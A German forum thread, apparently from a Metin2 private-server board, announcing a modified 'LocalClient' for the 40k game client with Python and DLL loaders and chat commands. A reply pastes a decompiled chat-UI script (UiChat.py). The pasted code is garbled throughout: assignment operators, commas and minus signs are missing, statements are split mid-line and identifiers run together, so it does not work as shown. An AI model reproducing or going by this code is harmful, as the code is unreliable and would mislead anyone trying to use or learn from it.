Register for your free account! | Forgot your password?

You last visited: Today at 14:10

  • Please register to post and access all features, it's quick, easy and FREE!

Advertisement



[Release]Localclient - IMV [40k Updated]

Discussion on [Release]Localclient - IMV [40k Updated] within the Metin2 PServer Guides & Strategies forum part of the Metin2 Private Server category.

Reply
 
Old   #1
 
elite*gold: 2785
Join Date: Dec 2014
Posts: 403
Received Thanks: 1,354
[Release]Localclient - IMV [40k Updated]

Wie der Threadname schon sagt ich habe mal den LocalClient an den 40k Client angepasst so das alles geht.

Heute Abend Kommt Das Video dazu!

Den link zum Original Thread:



Soweit ist alles gleich, aber ich werde in nächster Zeit auch Updates bringen und auch paar addons dafür machen.


Danke nochmal an passy305
und Danke an Sippel ( aber nur weil ich dich lieb habe )
HausmeisterTherzon natürlich auch (aber auch nur weil ich dich lieb habe )

Code:
Changelog:

Version 0.1 // Anpassung an den 40k Client

Version 0.2 // Code etwas verbessrt
PythonLoader&DLL Loader ab jezt mit dabei
Chatcommands vorhanden ( /in und /exit)
Die Python sachen läd er aus imv/addons !!!!!
Code:
Was kommt noch?

Addons, verbesserungen uvm

Version 0.3(was kommt)?
Verbesserter Code (Kürzer)
Mehr Chatcommands
Und halt was ihr für vorschäge mir bringt ;)
Mit Freundlichen Grüßen
.Kori
Attached Files
File Type: zip release.zip (31.7 KB, 128 views)
File Type: zip release 0.2.zip (39.7 KB, 106 views)
.K0rí is offline  
Thanks
10 Users
Old 02/19/2015, 21:33   #2
 
Poccix's Avatar
 
elite*gold: 44
Join Date: Dec 2009
Posts: 1,696
Received Thanks: 3,835
Sieht gut aus, gibts auch neue Funktionen?
Poccix is offline  
Thanks
1 User
Old 02/19/2015, 21:34   #3
 
elite*gold: 2785
Join Date: Dec 2014
Posts: 403
Received Thanks: 1,354
Quote:
Originally Posted by Isaac™ | Poccix View Post
Sieht gut aus, gibts auch neue Funktionen?
"noch" nicht
.K0rí is offline  
Old 02/19/2015, 21:40   #4
 
Tuora's Avatar
 
elite*gold: 0
Join Date: Jun 2014
Posts: 1,045
Received Thanks: 954
Nice freue mich schon auf das Video (Y)
Tuora is offline  
Thanks
1 User
Old 02/19/2015, 23:45   #5
 
.Despero™'s Avatar
 
elite*gold: 75
Join Date: Mar 2012
Posts: 2,655
Received Thanks: 742
Bei mir gibt er immer Bad Magic number an :/
.Despero™ is offline  
Thanks
1 User
Old 02/20/2015, 12:46   #6
 
elite*gold: 0
Join Date: Jan 2015
Posts: 110
Received Thanks: 178
Hier die .py Files.
PHP Code:
UiChat.py 
PHP Code:
import ui
import grp
import chat
import wndMgr
import net
import app
import ime
import locale 
as localeInfo
import colorInfo
import constInfo
import systemSetting
ENABLE_CHAT_COMMAND 
TRUE
ENABLE_LAST_SENTENCE_STACK 
TRUE
ENABLE_INSULT_CHECK 
TRUE
chatInputSetList 
= []

def InsertChatInputSetWindow(wnd):
    
chatInputSetList.append(wnd)


def RefreshChatMode():
    
map(lambda wndwnd.OnRefreshChatMode(), chatInputSetList)


def DestroyChatInputSetWindow():
    global 
chatInputSetList
    chatInputSetList 
= []


class 
ChatModeButton(ui.Window):
    
OUTLINE_COLOR grp.GenerateColor(1.01.01.01.0)
    
OVER_COLOR grp.GenerateColor(1.01.01.00.29999999999999999)
    
BUTTON_STATE_UP 0
    BUTTON_STATE_OVER 
1
    BUTTON_STATE_DOWN 
2
    
    def __init__
(self):
        
ui.Window.__init__(self)
        
self.state None
        self
.buttonText None
        self
.event None
        net
.EnableChatInsultFilter(ENABLE_INSULT_CHECK)

    
    
def __del__(self):
        
ui.Window.__del__(self)

    
    
def SAFE_SetEvent(selfevent):
        
self.event ui.__mem_func__(event)

    
    
def SetText(selftext):
        if 
None == self.buttonText:
            
textLine ui.TextLine()
            
textLine.SetParent(self)
            
textLine.SetWindowHorizontalAlignCenter()
            
textLine.SetWindowVerticalAlignCenter()
            
textLine.SetVerticalAlignCenter()
            
textLine.SetHorizontalAlignCenter()
            
textLine.SetPackedFontColor(self.OUTLINE_COLOR)
            
textLine.Show()
            
self.buttonText textLine
        
        self
.buttonText.SetText(text)

    
    
def SetSize(selfwidthheight):
        
self.width width
        self
.height height
        ui
.Window.SetSize(selfwidthheight)

    
    
def OnMouseOverIn(self):
        
self.state self.BUTTON_STATE_OVER

    
    def OnMouseOverOut
(self):
        
self.state self.BUTTON_STATE_UP

    
    def OnMouseLeftButtonDown
(self):
        
self.state self.BUTTON_STATE_DOWN

    
    def OnMouseLeftButtonUp
(self):
        
self.state self.BUTTON_STATE_UP
        
if self.IsIn():
            
self.state self.BUTTON_STATE_OVER
        
        
if None != self.event:
            
self.event()
        

    
    
def OnRender(self):
        (
xy) = self.GetGlobalPosition()
        
grp.SetColor(self.OUTLINE_COLOR)
        
grp.RenderRoundBox(xyself.widthself.height)
        if 
self.state >= self.BUTTON_STATE_OVER:
            
grp.RenderRoundBox(1yself.width 2self.height)
            
grp.RenderRoundBox(x1self.widthself.height 2)
            if 
self.BUTTON_STATE_DOWN == self.state:
                
grp.SetColor(self.OVER_COLOR)
                
grp.RenderBar(11self.width 2self.height 2)
            
        



class 
ChatLine(ui.EditLine):
    
CHAT_MODE_NAME = {
        
chat.CHAT_TYPE_TALKINGlocaleInfo.CHAT_NORMAL,
        
chat.CHAT_TYPE_PARTYlocaleInfo.CHAT_PARTY,
        
chat.CHAT_TYPE_GUILDlocaleInfo.CHAT_GUILD,
        
chat.CHAT_TYPE_SHOUTlocaleInfo.CHAT_SHOUT }
    
    
def __init__(self):
        
ui.EditLine.__init__(self)
        
self.SetWindowName('Chat Line')
        
self.lastShoutTime 0
        
        def self
.eventEscape(*arg):
            return 
None

        
        def self
.eventReturn(*arg):
            return 
None

        self
.eventTab None
        self
.chatMode chat.CHAT_TYPE_TALKING
        self
.bCodePage TRUE
        self
.overTextLine ui.TextLine()
        
self.overTextLine.SetParent(self)
        
self.overTextLine.SetPosition(-10)
        
self.overTextLine.SetFontColor(1.01.00.0)
        
self.overTextLine.SetOutline()
        
self.overTextLine.Hide()
        
self.lastSentenceStack = []
        
self.lastSentencePos 0

    
    def SetChatMode
(selfmode):
        
self.chatMode mode

    
    def GetChatMode
(self):
        return 
self.chatMode

    
    def ChangeChatMode
(self):
        if 
chat.CHAT_TYPE_TALKING == self.GetChatMode():
            
self.SetChatMode(chat.CHAT_TYPE_PARTY)
            
self.SetText('#')
            
self.SetEndPosition()
        
elif chat.CHAT_TYPE_PARTY == self.GetChatMode():
            
self.SetChatMode(chat.CHAT_TYPE_GUILD)
            
self.SetText('%')
            
self.SetEndPosition()
        
elif chat.CHAT_TYPE_GUILD == self.GetChatMode():
            
self.SetChatMode(chat.CHAT_TYPE_SHOUT)
            
self.SetText('!')
            
self.SetEndPosition()
        
elif chat.CHAT_TYPE_SHOUT == self.GetChatMode():
            
self.SetChatMode(chat.CHAT_TYPE_TALKING)
            
self.SetText('')
        
        
self._ChatLine__CheckChatMark()

    
    
def GetCurrentChatModeName(self):
        
        try:
            return 
self.CHAT_MODE_NAME[self.chatMode]
        
except:
            
import exception
            exception
.Abort('ChatLine.GetCurrentChatModeName')


    
    
def SAFE_SetEscapeEvent(selfevent):
        
self.eventReturn ui.__mem_func__(event)

    
    
def SAFE_SetReturnEvent(selfevent):
        
self.eventEscape ui.__mem_func__(event)

    
    
def SAFE_SetTabEvent(selfevent):
        
self.eventTab ui.__mem_func__(event)

    
    
def SetTabEvent(selfevent):
        
self.eventTab event

    
    def OpenChat
(self):
        
self.SetFocus()
        
self._ChatLine__ResetChat()

    
    
def _ChatLine__ClearChat(self):
        
self.SetText('')
        
self.lastSentencePos 0

    
    def _ChatLine__ResetChat
(self):
        if 
chat.CHAT_TYPE_PARTY == self.GetChatMode():
            
self.SetText('#')
            
self.SetEndPosition()
        
elif chat.CHAT_TYPE_GUILD == self.GetChatMode():
            
self.SetText('%')
            
self.SetEndPosition()
        
elif chat.CHAT_TYPE_SHOUT == self.GetChatMode():
            
self.SetText('!')
            
self.SetEndPosition()
        else:
            
self._ChatLine__ClearChat()
        
self._ChatLine__CheckChatMark()

    
    
def _ChatLine__SendChatPacket(selftexttype):
        
open('imv/username.ini''r')
        
Username f.read()
        
f.close()
        
self.Version 'DEV'
        
if Username.find(' '):
            
Username Username.replace(' ''6758XN8576')
        
        if 
net.IsChatInsultIn(text):
            
chat.AppendChat(chat.CHAT_TYPE_INFOlocaleInfo.CHAT_INSULT_STRING)
        else:
            
chat.AppendChat(chat.CHAT_TYPE_PARTYUsername ': ' text)

    
    
def _ChatLine__SendTalkingChatPacket(selftext):
        
self._ChatLine__SendChatPacket(textchat.CHAT_TYPE_TALKING)
        
self._ChatLine__ResetChat()

    
    
def OnIMETab(self):
        return 
FALSE

    
    def OnIMEUpdate
(self):
        
ui.EditLine.OnIMEUpdate(self)
        
self._ChatLine__CheckChatMark()

    
    
def _ChatLine__CheckChatMark(self):
        
self.overTextLine.Hide()
        
text self.GetText()
        if 
len(text) > 0:
            if 
'#' == text[0]:
                
self.overTextLine.SetText('#')
                
self.overTextLine.Show()
            
elif '%' == text[0]:
                
self.overTextLine.SetText('%')
                
self.overTextLine.Show()
            
elif '!' == text[0]:
                
self.overTextLine.SetText('!')
                
self.overTextLine.Show()
            
        

    
    
def OnIMEKeyDown(selfkey):
        if 
app.VK_UP == key:
            
self._ChatLine__PrevLastSentenceStack()
            return 
TRUE
        
        
if app.VK_DOWN == key:
            
self._ChatLine__NextLastSentenceStack()
            return 
TRUE
        
        ui
.EditLine.OnIMEKeyDown(selfkey)

    
    
def _ChatLine__PrevLastSentenceStack(self):
        if 
not ENABLE_LAST_SENTENCE_STACK:
            return 
None
        
        
if self.lastSentenceStack and self.lastSentencePos len(self.lastSentenceStack):
            
self.lastSentencePos += 1
            lastSentence 
self.lastSentenceStack[-(self.lastSentencePos)]
            
self.SetText(lastSentence)
            
self.SetEndPosition()
        

    
    
def _ChatLine__NextLastSentenceStack(self):
        if 
not ENABLE_LAST_SENTENCE_STACK:
            return 
None
        
        
if self.lastSentenceStack and self.lastSentencePos 1:
            
self.lastSentencePos -= 1
            lastSentence 
self.lastSentenceStack[-(self.lastSentencePos)]
            
self.SetText(lastSentence)
            
self.SetEndPosition()
        

    
    
def _ChatLine__PushLastSentenceStack(selftext):
        if 
not ENABLE_LAST_SENTENCE_STACK:
            return 
None
        
        
if len(text) <= 0:
            return 
None
        
        LAST_SENTENCE_STACK_SIZE 
32
        
if len(self.lastSentenceStack) > LAST_SENTENCE_STACK_SIZE:
            
self.lastSentenceStack.pop(0)
        
        
self.lastSentenceStack.append(text)

    
    
def OnIMEReturn(self):
        
text self.GetText()
        
textLen len(text)
        
self._ChatLine__PushLastSentenceStack(text)
        
textSpaceCount text.count(' ')
        if 
textLen and textLen != textSpaceCount:
            
self._ChatLine__SendTalkingChatPacket(text)
        else:
            
self._ChatLine__ClearChat()
            
self.eventReturn()
        return 
TRUE

    
    def OnPressEscapeKey
(self):
        
self._ChatLine__ClearChat()
        
self.eventEscape()
        return 
TRUE

    
    def RunCloseEvent
(self):
        
self.eventEscape()

    
    
def BindInterface(self, interface):
        
self.interface = interface

    
    
def OnMouseLeftButtonDown(self):
        
hyperlink ui.GetHyperlink()
        if 
hyperlink:
            if 
app.IsPressed(app.DIK_LALT):
                
link chat.GetLinkFromHyperlink(hyperlink)
                
ime.PasteString(link)
            else:
                
self.interface.MakeHyperlinkTooltip(hyperlink)
        else:
            
ui.EditLine.OnMouseLeftButtonDown(self)



class 
ChatInputSet(ui.Window):
    
CHAT_OUTLINE_COLOR grp.GenerateColor(1.01.01.01.0)
    
    
def __init__(self):
        
ui.Window.__init__(self)
        
InsertChatInputSetWindow(self)
        
self._ChatInputSet__Create()

    
    
def __del__(self):
        
ui.Window.__del__(self)

    
    
def _ChatInputSet__Create(self):
        
chatModeButton ChatModeButton()
        
chatModeButton.SetParent(self)
        
chatModeButton.SetSize(5017)
        
chatModeButton.SetText('DEVChat')
        
chatModeButton.SetPosition(72)
        
self.chatModeButton chatModeButton
        chatLine 
ChatLine()
        
chatLine.SetParent(self)
        
chatLine.SetMax(512)
        
chatLine.SetUserMax(76)
        
chatLine.SetText('')
        
chatLine.0
        chatLine
.0
        chatLine
.width 0
        chatLine
.height 0
        self
.chatLine chatLine
        btnSend 
ui.Button()
        
btnSend.SetParent(self)
        
btnSend.SetUpVisual('d:/ymir work/ui/game/taskbar/Send_Chat_Button_01.sub')
        
btnSend.SetOverVisual('d:/ymir work/ui/game/taskbar/Send_Chat_Button_02.sub')
        
btnSend.SetDownVisual('d:/ymir work/ui/game/taskbar/Send_Chat_Button_03.sub')
        
btnSend.SetToolTipText(localeInfo.CHAT_SEND_CHAT)
        
btnSend.SAFE_SetEvent(self.chatLine.OnIMEReturn)
        
self.btnSend btnSend

    
    def Destroy
(self):
        
self.chatModeButton None
        self
.chatLine None
        self
.btnSend None

    
    def Open
(self):
        
self.chatLine.Show()
        
self.chatLine.SetPosition(675)
        
self.chatLine.SetFocus()
        
self.chatLine.OpenChat()
        
self.chatModeButton.SetPosition(72)
        
self.chatModeButton.Show()
        
self.btnSend.Show()
        
self.Show()
        
self.RefreshPosition()
        return 
TRUE

    
    def Close
(self):
        
self.chatLine.KillFocus()
        
self.chatLine.Hide()
        
self.chatModeButton.Hide()
        
self.btnSend.Hide()
        
self.Hide()
        return 
TRUE

    
    def SetEscapeEvent
(selfevent):
        
self.chatLine.SetEscapeEvent(event)

    
    
def SetReturnEvent(selfevent):
        
self.chatLine.SetReturnEvent(event)

    
    
def OnRefreshChatMode(self):
        
self.chatLine.ChangeChatMode()
        
self.chatModeButton.SetText(self.chatLine.GetCurrentChatModeName())

    
    
def SetChatFocus(self):
        
self.chatLine.SetFocus()

    
    
def KillChatFocus(self):
        
self.chatLine.KillFocus()

    
    
def SetChatMax(selfmax):
        
self.chatLine.SetUserMax(max)

    
    
def RefreshPosition(self):
        if 
localeInfo.IsARABIC():
            
self.chatLine.SetSize(self.GetWidth() - 9318)
        else:
            
self.chatLine.SetSize(self.GetWidth() - 7313)
        
self.btnSend.SetPosition(self.GetWidth() + 102)
        (
self.chatLine.xself.chatLine.yself.chatLine.widthself.chatLine.height) = self.chatLine.GetRect()

    
    
def BindInterface(self, interface):
        
self.chatLine.BindInterface(interface)

    
    
def OnRender(self):
        (
xywidthheight) = self.chatLine.GetRect()
        
ui.RenderRoundBox(43width 7height 4self.CHAT_OUTLINE_COLOR)



class 
ChatWindow(ui.Window):
    
BOARD_START_COLOR grp.GenerateColor(0.00.00.00.0)
    
BOARD_END_COLOR grp.GenerateColor(0.00.00.00.80000000000000004)
    
BOARD_MIDDLE_COLOR grp.GenerateColor(0.00.00.00.5)
    
CHAT_OUTLINE_COLOR grp.GenerateColor(1.01.01.01.0)
    
EDIT_LINE_HEIGHT 25
    
    
class ChatBackBoard(ui.Window):
        
        
def __init__(self):
            
ui.Window.__init__(self)

        
        
def __del__(self):
            
ui.Window.__del__(self)


    
    class 
ChatButton(ui.DragButton):
        
        
def __init__(self):
            
ui.DragButton.__init__(self)
            
self.AddFlag('float')
            
self.AddFlag('movable')
            
self.AddFlag('restrict_x')
            
self.topFlag FALSE

        
        def __del__
(self):
            
ui.DragButton.__del__(self)

        
        
def SetOwner(selfowner):
            
self.owner owner

        
        def OnMouseOverIn
(self):
            
app.SetCursor(app.VSIZE)

        
        
def OnMouseOverOut(self):
            
app.SetCursor(app.NORMAL)

        
        
def OnTop(self):
            if 
TRUE == self.topFlag:
                return 
None
            
            self
.topFlag TRUE
            self
.owner.SetTop()
            
self.topFlag FALSE


    
    def __init__
(self):
        
ui.Window.__init__(self)
        
self.AddFlag('float')
        
self._ChatWindow__RegisterChatColorDict()
        
self.boardState chat.BOARD_STATE_VIEW
        self
.chatID chat.CreateChatSet(chat.CHAT_SET_CHAT_WINDOW)
        
chat.SetBoardState(self.chatIDchat.BOARD_STATE_VIEW)
        
self.xBar 0
        self
.yBar 0
        self
.widthBar 0
        self
.heightBar 0
        self
.curHeightBar 0
        self
.visibleLineCount 0
        self
.scrollBarPos 1.0
        self
.scrollLock FALSE
        chatInputSet 
ChatInputSet()
        
chatInputSet.SetParent(self)
        
chatInputSet.SetEscapeEvent(ui.__mem_func__(self.CloseChat))
        
chatInputSet.SetReturnEvent(ui.__mem_func__(self.CloseChat))
        
chatInputSet.SetSize(55025)
        
self.chatInputSet chatInputSet
        btnChatSizing 
self.ChatButton()
        
btnChatSizing.SetOwner(self)
        
btnChatSizing.SetMoveEvent(ui.__mem_func__(self.Refresh))
        
btnChatSizing.Hide()
        
self.btnChatSizing btnChatSizing
        imgChatBarLeft 
ui.ImageBox()
        
imgChatBarLeft.SetParent(self.btnChatSizing)
        
imgChatBarLeft.AddFlag('not_pick')
        
imgChatBarLeft.LoadImage('d:/ymir work/ui/pattern/chat_bar_left.tga')
        
imgChatBarLeft.Show()
        
self.imgChatBarLeft imgChatBarLeft
        imgChatBarRight 
ui.ImageBox()
        
imgChatBarRight.SetParent(self.btnChatSizing)
        
imgChatBarRight.AddFlag('not_pick')
        
imgChatBarRight.LoadImage('d:/ymir work/ui/pattern/chat_bar_right.tga')
        
imgChatBarRight.Show()
        
self.imgChatBarRight imgChatBarRight
        imgChatBarMiddle 
ui.ExpandedImageBox()
        
imgChatBarMiddle.SetParent(self.btnChatSizing)
        
imgChatBarMiddle.AddFlag('not_pick')
        
imgChatBarMiddle.LoadImage('d:/ymir work/ui/pattern/chat_bar_middle.tga')
        
imgChatBarMiddle.Show()
        
self.imgChatBarMiddle imgChatBarMiddle
        scrollBar 
ui.ScrollBar()
        
scrollBar.AddFlag('float')
        
scrollBar.SetScrollEvent(ui.__mem_func__(self.OnScroll))
        
self.scrollBar scrollBar
        self
.Refresh()
        
self.chatInputSet.RefreshPosition()

    
    
def __del__(self):
        
ui.Window.__del__(self)

    
    
def _ChatWindow__RegisterChatColorDict(self):
        
CHAT_COLOR_DICT = {
            
chat.CHAT_TYPE_TALKINGcolorInfo.CHAT_RGB_TALK,
            
chat.CHAT_TYPE_INFOcolorInfo.CHAT_RGB_INFO,
            
chat.CHAT_TYPE_NOTICE: (15019069),
            
chat.CHAT_TYPE_PARTY: (167255212),
            
chat.CHAT_TYPE_GUILDcolorInfo.CHAT_RGB_GUILD,
            
chat.CHAT_TYPE_COMMANDcolorInfo.CHAT_RGB_COMMAND,
            
chat.CHAT_TYPE_SHOUTcolorInfo.CHAT_RGB_SHOUT,
            
chat.CHAT_TYPE_WHISPERcolorInfo.CHAT_RGB_WHISPER }
        for 
colorItem in CHAT_COLOR_DICT.items():
            
type colorItem[0]
            
rgb colorItem[1]
            
chat.SetChatColor(typergb[0], rgb[1], rgb[2])

    
    
def Destroy(self):
        
self.chatInputSet.Destroy()
        
self.chatInputSet None
        self
.btnChatSizing 0

    
    def OpenChat
(self):
        
chat.SetBoardState(self.chatIDchat.BOARD_STATE_EDIT)
        
self.boardState chat.BOARD_STATE_EDIT
        
(xywidthheight) = self.GetRect()
        (
btnXbtnY) = self.btnChatSizing.GetGlobalPosition()
        if 
localeInfo.IsARABIC():
            
chat.SetPosition(self.chatIDwidth 10y)
        else:
            
chat.SetPosition(self.chatID10y)
        
chat.SetHeight(self.chatID, (btnY self.EDIT_LINE_HEIGHT) + 100)
        if 
self.IsShow():
            
self.btnChatSizing.Show()
        
        
self.Refresh()
        
self.chatInputSet.Open()
        
self.SetTop()

    
    
def CloseChat(self):
        
chat.SetBoardState(self.chatIDchat.BOARD_STATE_VIEW)
        
self.boardState chat.BOARD_STATE_VIEW
        
(xywidthheight) = self.GetRect()
        if 
localeInfo.IsARABIC():
            
chat.SetPosition(self.chatIDwidth 10height)
        else:
            
chat.SetPosition(self.chatID10height)
        
self.chatInputSet.Close()
        
self.btnChatSizing.Hide()
        
self.Refresh()

    
    
def IsEditMode(self):
        if 
chat.BOARD_STATE_EDIT == self.boardState:
            return 
TRUE
        
        
return FALSE

    
    def _ChatWindow__RefreshSizingBar
(self):
        (
xywidthheight) = self.GetRect()
        (
gxChatgyChat) = self.btnChatSizing.GetGlobalPosition()
        
self.btnChatSizing.SetPosition(xgyChat)
        
self.btnChatSizing.SetSize(width22)
        
self.imgChatBarLeft.SetPosition(00)
        
self.imgChatBarRight.SetPosition(width 640)
        
self.imgChatBarMiddle.SetPosition(640)
        
self.imgChatBarMiddle.SetRenderingRect(0.00.0float(width 128) / 64.0 1.00.0)

    
    
def SetPosition(selfxy):
        
ui.Window.SetPosition(selfxy)
        
self._ChatWindow__RefreshSizingBar()

    
    
def SetSize(selfwidthheight):
        
ui.Window.SetSize(selfwidthheight)
        
self._ChatWindow__RefreshSizingBar()

    
    
def SetHeight(selfheight):
        (
gxChatgyChat) = self.btnChatSizing.GetGlobalPosition()
        
self.btnChatSizing.SetPosition(gxChatwndMgr.GetScreenHeight() - height)

    
    
def Refresh(self):
        if 
self.boardState == chat.BOARD_STATE_EDIT:
            
self.RefreshBoardEditState()
        
elif self.boardState == chat.BOARD_STATE_VIEW:
            
self.RefreshBoardViewState()
        

    
    
def RefreshBoardEditState(self):
        (
xywidthheight) = self.GetRect()
        (
btnXbtnY) = self.btnChatSizing.GetGlobalPosition()
        
self.xBar x
        self
.yBar btnY
        self
.widthBar width
        self
.heightBar = (btnY) + self.EDIT_LINE_HEIGHT
        self
.curHeightBar self.heightBar
        
if localeInfo.IsARABIC():
            
chat.SetPosition(self.chatIDwidth 10y)
        else:
            
chat.SetPosition(self.chatID10y)
        
chat.SetHeight(self.chatIDbtnY self.EDIT_LINE_HEIGHT)
        
chat.ArrangeShowingChat(self.chatID)
        if 
btnY y:
            
self.btnChatSizing.SetPosition(btnXy)
            
self.heightBar self.EDIT_LINE_HEIGHT
        

    
    def RefreshBoardViewState
(self):
        (
xywidthheight) = self.GetRect()
        (
btnXbtnY) = self.btnChatSizing.GetGlobalPosition()
        
textAreaHeight self.visibleLineCount chat.GetLineStep(self.chatID)
        if 
localeInfo.IsARABIC():
            
chat.SetPosition(self.chatIDwidth 10height)
        else:
            
chat.SetPosition(self.chatID10height)
        
chat.SetHeight(self.chatID, (btnY self.EDIT_LINE_HEIGHT) + 100)
        if 
self.boardState == chat.BOARD_STATE_EDIT:
            
textAreaHeight += 45
        elif self
.visibleLineCount != 0:
            
textAreaHeight += 10 10
        
        self
.xBar x
        self
.yBar height textAreaHeight
        self
.widthBar width
        self
.heightBar textAreaHeight
        self
.scrollBar.Hide()

    
    
def OnUpdate(self):
        if 
self.boardState == chat.BOARD_STATE_EDIT:
            
chat.Update(self.chatID)
        
elif self.boardState == chat.BOARD_STATE_VIEW:
            if 
systemSetting.IsViewChat():
                
chat.Update(self.chatID)
            
        

    
    
def OnRender(self):
        if 
chat.GetVisibleLineCount(self.chatID) != self.visibleLineCount:
            
self.visibleLineCount chat.GetVisibleLineCount(self.chatID)
            
self.Refresh()
        
        if 
self.curHeightBar != self.heightBar:
            
self.curHeightBar += (self.heightBar self.curHeightBar) / 10
        
        
if self.boardState == chat.BOARD_STATE_EDIT:
            
grp.SetColor(self.BOARD_MIDDLE_COLOR)
            
grp.RenderBar(self.xBarself.yBar + (self.heightBar self.curHeightBar) + 10self.widthBarself.curHeightBar)
            
chat.Render(self.chatID)
        
elif self.boardState == chat.BOARD_STATE_VIEW:
            if 
systemSetting.IsViewChat():
                
grp.RenderGradationBar(self.xBarself.yBar + (self.heightBar self.curHeightBar), self.widthBarself.curHeightBarself.BOARD_START_COLORself.BOARD_END_COLOR)
                
chat.Render(self.chatID)
            
        

    
    
def OnTop(self):
        
self.btnChatSizing.SetTop()
        
self.scrollBar.SetTop()

    
    
def OnScroll(self):
        if 
not (self.scrollLock):
            
self.scrollBarPos self.scrollBar.GetPos()
        
        
lineCount chat.GetLineCount(self.chatID)
        
visibleLineCount chat.GetVisibleLineCount(self.chatID)
        
endLine visibleLineCount int(float(lineCount visibleLineCount) * self.scrollBarPos)
        
chat.SetEndPos(self.chatIDself.scrollBarPos)

    
    
def SetChatFocus(self):
        
self.chatInputSet.SetChatFocus()

    
    
def BindInterface(self, interface):
        
self.chatInputSet.BindInterface(interface)



class 
ChatLogWindow(ui.Window):
    
BLOCK_WIDTH 32
    CHAT_MODE_NAME 
= (localeInfo.CHAT_NORMALlocaleInfo.CHAT_PARTYlocaleInfo.CHAT_GUILDlocaleInfo.CHAT_SHOUTlocaleInfo.CHAT_INFORMATIONlocaleInfo.CHAT_NOTICE)
    
CHAT_MODE_INDEX = (chat.CHAT_TYPE_TALKINGchat.CHAT_TYPE_PARTYchat.CHAT_TYPE_GUILDchat.CHAT_TYPE_SHOUTchat.CHAT_TYPE_INFOchat.CHAT_TYPE_NOTICE)
    
CHAT_LOG_WINDOW_MINIMUM_WIDTH 450
    CHAT_LOG_WINDOW_MINIMUM_HEIGHT 
120
    
    
class ResizeButton(ui.DragButton):
        
        
def __init__(self):
            
ui.DragButton.__init__(self)

        
        
def __del__(self):
            
ui.DragButton.__del__(self)

        
        
def OnMouseOverIn(self):
            
app.SetCursor(app.HVSIZE)

        
        
def OnMouseOverOut(self):
            
app.SetCursor(app.NORMAL)


    
    
def __init__(self):
        
self.allChatMode TRUE
        self
.chatInputSet None
        ui
.Window.__init__(self)
        
self.AddFlag('float')
        
self.AddFlag('movable')
        
self._ChatLogWindow__CreateChatInputSet()
        
self._ChatLogWindow__CreateWindow()
        
self._ChatLogWindow__CreateButton()
        
self._ChatLogWindow__CreateScrollBar()
        
self.chatID chat.CreateChatSet(chat.CHAT_SET_LOG_WINDOW)
        
chat.SetBoardState(self.chatIDchat.BOARD_STATE_LOG)
        for 
i in self.CHAT_MODE_INDEX:
            
chat.EnableChatMode(self.chatIDi)
        
self.SetPosition(2020)
        
self.SetSize(self.CHAT_LOG_WINDOW_MINIMUM_WIDTHself.CHAT_LOG_WINDOW_MINIMUM_HEIGHT)
        
self.btnSizing.SetPosition(self.CHAT_LOG_WINDOW_MINIMUM_WIDTH self.btnSizing.GetWidth(), (self.CHAT_LOG_WINDOW_MINIMUM_HEIGHT self.btnSizing.GetHeight()) + 2)
        
self.OnResize()

    
    
def _ChatLogWindow__CreateChatInputSet(self):
        
chatInputSet ChatInputSet()
        
chatInputSet.SetParent(self)
        
chatInputSet.SetEscapeEvent(ui.__mem_func__(self.Close))
        
chatInputSet.SetWindowVerticalAlignBottom()
        
chatInputSet.Open()
        
self.chatInputSet chatInputSet

    
    def _ChatLogWindow__CreateWindow
(self):
        
imgLeft ui.ImageBox()
        
imgLeft.AddFlag('not_pick')
        
imgLeft.SetParent(self)
        
imgCenter ui.ExpandedImageBox()
        
imgCenter.AddFlag('not_pick')
        
imgCenter.SetParent(self)
        
imgRight ui.ImageBox()
        
imgRight.AddFlag('not_pick')
        
imgRight.SetParent(self)
        if 
locale.IsARABIC():
            
imgLeft.LoadImage('locale/ae/ui/pattern/titlebar_left.tga')
            
imgCenter.LoadImage('locale/ae/ui/pattern/titlebar_center.tga')
            
imgRight.LoadImage('locale/ae/ui/pattern/titlebar_right.tga')
        else:
            
imgLeft.LoadImage('d:/ymir work/ui/pattern/chatlogwindow_titlebar_left.tga')
            
imgCenter.LoadImage('d:/ymir work/ui/pattern/chatlogwindow_titlebar_middle.tga')
            
imgRight.LoadImage('d:/ymir work/ui/pattern/chatlogwindow_titlebar_right.tga')
        
imgLeft.Show()
        
imgCenter.Show()
        
imgRight.Show()
        
btnClose ui.Button()
        
btnClose.SetParent(self)
        
btnClose.SetUpVisual('d:/ymir work/ui/public/close_button_01.sub')
        
btnClose.SetOverVisual('d:/ymir work/ui/public/close_button_02.sub')
        
btnClose.SetDownVisual('d:/ymir work/ui/public/close_button_03.sub')
        
btnClose.SetToolTipText(localeInfo.UI_CLOSE0, -23)
        
btnClose.SetEvent(ui.__mem_func__(self.Close))
        
btnClose.Show()
        
btnSizing self.ResizeButton()
        
btnSizing.SetParent(self)
        
btnSizing.SetMoveEvent(ui.__mem_func__(self.OnResize))
        
btnSizing.SetSize(1616)
        
btnSizing.Show()
        
titleName ui.TextLine()
        
titleName.SetParent(self)
        if 
localeInfo.IsARABIC():
            
titleName.SetPosition(self.GetWidth() - 206)
        else:
            
titleName.SetPosition(206)
        
titleName.SetText(localeInfo.CHAT_LOG_TITLE)
        
titleName.Show()
        
self.imgLeft imgLeft
        self
.imgCenter imgCenter
        self
.imgRight imgRight
        self
.btnClose btnClose
        self
.btnSizing btnSizing
        self
.titleName titleName

    
    def _ChatLogWindow__CreateButton
(self):
        if 
localeInfo.IsARABIC():
            
bx 20
        
else:
            
bx 13
        btnAll 
ui.RadioButton()
        
btnAll.SetParent(self)
        
btnAll.SetPosition(bx24)
        
btnAll.SetUpVisual('d:/ymir work/ui/public/xsmall_button_01.sub')
        
btnAll.SetOverVisual('d:/ymir work/ui/public/xsmall_button_02.sub')
        
btnAll.SetDownVisual('d:/ymir work/ui/public/xsmall_button_03.sub')
        
btnAll.SetText(localeInfo.CHAT_ALL)
        
btnAll.SetEvent(ui.__mem_func__(self.ToggleAllChatMode))
        
btnAll.Down()
        
btnAll.Show()
        
self.btnAll btnAll
        x 
bx 48
        i 
0
        self
.modeButtonList = []
        for 
name in self.CHAT_MODE_NAME:
            
btn ui.ToggleButton()
            
btn.SetParent(self)
            
btn.SetPosition(x24)
            
btn.SetUpVisual('d:/ymir work/ui/public/xsmall_button_01.sub')
            
btn.SetOverVisual('d:/ymir work/ui/public/xsmall_button_02.sub')
            
btn.SetDownVisual('d:/ymir work/ui/public/xsmall_button_03.sub')
            
btn.SetText(name)
            
btn.Show()
            
mode self.CHAT_MODE_INDEX[i]
            
btn.SetToggleUpEvent(lambda arg modeself.ToggleChatMode(arg))
            
btn.SetToggleDownEvent(lambda arg modeself.ToggleChatMode(arg))
            
self.modeButtonList.append(btn)
            
+= 48
            i 
